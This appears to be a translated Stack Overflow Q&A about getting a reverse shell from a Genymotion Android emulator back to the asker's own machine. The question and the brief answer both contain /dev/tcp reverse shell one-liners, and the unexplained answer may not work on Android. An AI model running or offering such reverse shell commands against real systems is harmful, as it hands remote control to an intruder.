0

我正在尝试从 Genymotion Android (8.0.0) 设备获取反向外壳。

我本地机器的IP:192.168.178.101

下面的命令,当从我的主机执行时,给了我一个 shell。

rewanth@ubuntu:~$ adb shell "sh -i >& /dev/tcp/192.168.178.101/4444 0>&1"

但是,当我直接从 android shell 执行此操作时,会出现以下错误。为什么?

rewanth@ubuntu:~$ adb shell
vbox86p:/# sh -i >& /dev/tcp/192.168.178.101/4444 0>&1
/system/bin/sh: >&/dev/tcp/192.168.178.101/4444 : illegal file descriptor name

从 android shell 内部获取反向 shell 的任何解决方法/不同方法?

4

1 回答 1

0

利用

/bin/bash 1>& /dev/tcp/192.168.178.101/4444 0>&1

反而

于 2021-02-15T11:33:50.840 回答